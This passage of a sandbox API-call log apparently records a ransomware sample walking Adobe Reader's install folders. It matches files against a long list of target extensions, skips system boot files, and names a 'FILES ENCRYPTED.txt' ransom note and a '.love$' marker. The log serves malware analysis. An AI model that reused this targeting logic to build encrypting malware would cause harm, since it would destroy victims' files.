[0272.061] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".dcr") returned 4 [0272.061] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".der") returned 4 [0272.061] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".dib") returned 4 [0272.061] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".dic") returned 4 [0272.061] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".dif") returned 4 [0272.061] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".divx") returned 5 [0272.061] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.061] lstrlenW (lpString=".djvu") returned 5 [0272.061] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.061] lstrlenW (lpString=".dng") returned 4 [0272.061] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.061] lstrlenW (lpString=".doc") returned 4 [0272.062] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.062] lstrlenW (lpString=".docm") returned 5 [0272.062] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.062] lstrlenW (lpString=".docx") returned 5 [0272.062] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.062] lstrlenW (lpString=".dot") returned 4 [0272.062] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.062] lstrlenW (lpString=".dotm") returned 5 [0272.062] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.062] lstrlenW (lpString=".dotx") returned 5 [0272.062] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.062] lstrlenW (lpString=".dpx") returned 4 [0272.062] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.062] lstrlenW (lpString=".dqy") returned 4 [0272.062] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.062] lstrlenW (lpString=".dsn") returned 4 [0272.062] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.062] lstrlenW (lpString=".dt") returned 3 [0272.062] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.062] lstrlenW (lpString=".dtd") returned 4 [0272.062] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.062] lstrlenW (lpString=".dwg") returned 4 [0272.062] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.062] lstrlenW (lpString=".dwt") returned 4 [0272.062] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.062] lstrlenW (lpString=".dx") returned 3 [0272.062] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.062] lstrlenW (lpString=".dxf") returned 4 [0272.063] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.063] lstrlenW (lpString=".edml") returned 5 [0272.063] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.063] lstrlenW (lpString=".efd") returned 4 [0272.063] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.063] lstrlenW (lpString=".elf") returned 4 [0272.063] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.063] lstrlenW (lpString=".emf") returned 4 [0272.063] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.063] lstrlenW (lpString=".emz") returned 4 [0272.063] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.063] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.063] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0272.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0272.064] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es") returned 119 [0272.064] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es") returned 1 [0272.064] lstrlenW (lpString="eu-es") returned 5 [0272.064] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="eu-es") returned -1 [0272.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.064] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es") returned 119 [0272.064] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0272.064] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x70e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.064] lstrlenW (lpString="ui-strings.js") returned 13 [0272.064] lstrlenW (lpString=".1cd") returned 4 [0272.065] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.065] lstrlenW (lpString=".3ds") returned 4 [0272.065] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.065] lstrlenW (lpString=".3fr") returned 4 [0272.065] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.065] lstrlenW (lpString=".3g2") returned 4 [0272.065] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.065] lstrlenW (lpString=".3gp") returned 4 [0272.065] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.065] lstrlenW (lpString=".7z") returned 3 [0272.065] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.065] lstrlenW (lpString=".accda") returned 6 [0272.065] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.065] lstrlenW (lpString=".accdb") returned 6 [0272.065] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.065] lstrlenW (lpString=".accdc") returned 6 [0272.065] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.065] lstrlenW (lpString=".accde") returned 6 [0272.065] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.065] lstrlenW (lpString=".accdt") returned 6 [0272.065] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.065] lstrlenW (lpString=".accdw") returned 6 [0272.065] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.065] lstrlenW (lpString=".adb") returned 4 [0272.065] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.065] lstrlenW (lpString=".adp") returned 4 [0272.066] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.066] lstrlenW (lpString=".ai") returned 3 [0272.066] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.066] lstrlenW (lpString=".ai3") returned 4 [0272.066] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.066] lstrlenW (lpString=".ai4") returned 4 [0272.066] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.066] lstrlenW (lpString=".ai5") returned 4 [0272.066] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.066] lstrlenW (lpString=".ai6") returned 4 [0272.066] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.066] lstrlenW (lpString=".ai7") returned 4 [0272.066] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.066] lstrlenW (lpString=".ai8") returned 4 [0272.066] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.066] lstrlenW (lpString=".anim") returned 5 [0272.066] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.066] lstrlenW (lpString=".arw") returned 4 [0272.066] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.066] lstrlenW (lpString=".as") returned 3 [0272.066] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.066] lstrlenW (lpString=".asa") returned 4 [0272.066] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.066] lstrlenW (lpString=".asc") returned 4 [0272.066] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.066] lstrlenW (lpString=".ascx") returned 5 [0272.066] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.067] lstrlenW (lpString=".asm") returned 4 [0272.067] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.067] lstrlenW (lpString=".asmx") returned 5 [0272.067] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.067] lstrlenW (lpString=".asp") returned 4 [0272.067] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.067] lstrlenW (lpString=".aspx") returned 5 [0272.067] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.067] lstrlenW (lpString=".asr") returned 4 [0272.067] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.067] lstrlenW (lpString=".asx") returned 4 [0272.067] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.067] lstrlenW (lpString=".avi") returned 4 [0272.067] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.067] lstrlenW (lpString=".avs") returned 4 [0272.067] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.067] lstrlenW (lpString=".backup") returned 7 [0272.067] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.067] lstrlenW (lpString=".bak") returned 4 [0272.067] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.067] lstrlenW (lpString=".bay") returned 4 [0272.067] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.067] lstrlenW (lpString=".bd") returned 3 [0272.067] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.068] lstrlenW (lpString=".bin") returned 4 [0272.068] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.068] lstrlenW (lpString=".bmp") returned 4 [0272.068] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.068] lstrlenW (lpString=".bz2") returned 4 [0272.068] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.068] lstrlenW (lpString=".c") returned 2 [0272.068] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.068] lstrlenW (lpString=".cdr") returned 4 [0272.068] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.068] lstrlenW (lpString=".cer") returned 4 [0272.068] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.068] lstrlenW (lpString=".cf") returned 3 [0272.068] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.069] lstrlenW (lpString=".cfc") returned 4 [0272.069] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.069] lstrlenW (lpString=".cfm") returned 4 [0272.069] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.069] lstrlenW (lpString=".cfml") returned 5 [0272.069] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.069] lstrlenW (lpString=".cfu") returned 4 [0272.069] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.069] lstrlenW (lpString=".chm") returned 4 [0272.069] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.069] lstrlenW (lpString=".cin") returned 4 [0272.069] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.069] lstrlenW (lpString=".class") returned 6 [0272.069] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.069] lstrlenW (lpString=".clx") returned 4 [0272.069] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.069] lstrlenW (lpString=".config") returned 7 [0272.069] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.069] lstrlenW (lpString=".cpp") returned 4 [0272.069] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.069] lstrlenW (lpString=".cr2") returned 4 [0272.069] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.069] lstrlenW (lpString=".crt") returned 4 [0272.069] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.069] lstrlenW (lpString=".crw") returned 4 [0272.069] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.069] lstrlenW (lpString=".cs") returned 3 [0272.070] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.070] lstrlenW (lpString=".css") returned 4 [0272.070] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.070] lstrlenW (lpString=".csv") returned 4 [0272.070] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.070] lstrlenW (lpString=".cub") returned 4 [0272.070] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.070] lstrlenW (lpString=".dae") returned 4 [0272.070] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.070] lstrlenW (lpString=".dat") returned 4 [0272.070] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.070] lstrlenW (lpString=".db") returned 3 [0272.070] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.070] lstrlenW (lpString=".dbf") returned 4 [0272.070] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.070] lstrlenW (lpString=".dbx") returned 4 [0272.070] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.070] lstrlenW (lpString=".dc3") returned 4 [0272.070] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.070] lstrlenW (lpString=".dcm") returned 4 [0272.070] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.070] lstrlenW (lpString=".dcr") returned 4 [0272.070] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.070] lstrlenW (lpString=".der") returned 4 [0272.071] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.071] lstrlenW (lpString=".dib") returned 4 [0272.071] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.071] lstrlenW (lpString=".dic") returned 4 [0272.071] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.071] lstrlenW (lpString=".dif") returned 4 [0272.071] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.071] lstrlenW (lpString=".divx") returned 5 [0272.071] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.071] lstrlenW (lpString=".djvu") returned 5 [0272.071] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.071] lstrlenW (lpString=".dng") returned 4 [0272.071] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.071] lstrlenW (lpString=".doc") returned 4 [0272.071] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.071] lstrlenW (lpString=".docm") returned 5 [0272.071] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.071] lstrlenW (lpString=".docx") returned 5 [0272.071] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.071] lstrlenW (lpString=".dot") returned 4 [0272.071] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.071] lstrlenW (lpString=".dotm") returned 5 [0272.071] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.071] lstrlenW (lpString=".dotx") returned 5 [0272.071] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.071] lstrlenW (lpString=".dpx") returned 4 [0272.071] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".dqy") returned 4 [0272.072] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".dsn") returned 4 [0272.072] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".dt") returned 3 [0272.072] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.072] lstrlenW (lpString=".dtd") returned 4 [0272.072] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".dwg") returned 4 [0272.072] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".dwt") returned 4 [0272.072] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".dx") returned 3 [0272.072] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.072] lstrlenW (lpString=".dxf") returned 4 [0272.072] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".edml") returned 5 [0272.072] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.072] lstrlenW (lpString=".efd") returned 4 [0272.072] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".elf") returned 4 [0272.072] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".emf") returned 4 [0272.072] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".emz") returned 4 [0272.072] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".epf") returned 4 [0272.072] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.072] lstrlenW (lpString=".eps") returned 4 [0272.073] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".epsf") returned 5 [0272.073] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.073] lstrlenW (lpString=".epsp") returned 5 [0272.073] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.073] lstrlenW (lpString=".erf") returned 4 [0272.073] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".exr") returned 4 [0272.073] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".f4v") returned 4 [0272.073] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".fido") returned 5 [0272.073] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.073] lstrlenW (lpString=".flm") returned 4 [0272.073] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".flv") returned 4 [0272.073] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".frm") returned 4 [0272.073] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".fxg") returned 4 [0272.073] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".geo") returned 4 [0272.073] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".gif") returned 4 [0272.073] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".grs") returned 4 [0272.073] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0272.073] lstrlenW (lpString=".gz") returned 3 [0272.073] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0272.073] lstrlenW (lpString=".h") returned 2 [0272.073] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0272.073] lstrlenW (lpString=".hdr") returned 4 [0272.074] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".hpp") returned 4 [0272.074] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".hta") returned 4 [0272.074] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".htc") returned 4 [0272.074] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".htm") returned 4 [0272.074] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".html") returned 5 [0272.074] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0272.074] lstrlenW (lpString=".icb") returned 4 [0272.074] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".ics") returned 4 [0272.074] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".iff") returned 4 [0272.074] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".inc") returned 4 [0272.074] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".indd") returned 5 [0272.074] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0272.074] lstrlenW (lpString=".ini") returned 4 [0272.074] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".iqy") returned 4 [0272.074] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".j2c") returned 4 [0272.074] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".j2k") returned 4 [0272.074] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0272.074] lstrlenW (lpString=".java") returned 5 [0272.074] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0272.075] lstrlenW (lpString=".jp2") returned 4 [0272.075] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0272.075] lstrlenW (lpString=".jpc") returned 4 [0272.075] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0272.075] lstrlenW (lpString=".jpe") returned 4 [0272.075] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0272.075] lstrlenW (lpString=".jpeg") returned 5 [0272.075] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0272.075] lstrlenW (lpString=".jpf") returned 4 [0272.075] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0272.075] lstrlenW (lpString=".jpg") returned 4 [0272.075] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0272.075] lstrlenW (lpString=".jpx") returned 4 [0272.075] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0272.075] lstrlenW (lpString=".js") returned 3 [0272.075] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0272.075] lstrlenW (lpString="ui-strings.js") returned 13 [0272.075] lstrlenW (lpString=".love$") returned 6 [0272.075] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0272.075] lstrlenW (lpString="ui-strings.js") returned 13 [0272.388] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0272.388] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0272.388] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0272.388] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0272.388] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0272.388] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0272.388] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0272.389] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0272.389] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\ui-strings.js") returned 133 [0272.389] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x70e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.389] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0272.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.389] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0272.389] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi") returned 119 [0272.389] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi") returned 1 [0272.389] lstrlenW (lpString="fi-fi") returned 5 [0272.389] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fi-fi") returned -1 [0272.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.390] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi") returned 119 [0272.390] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 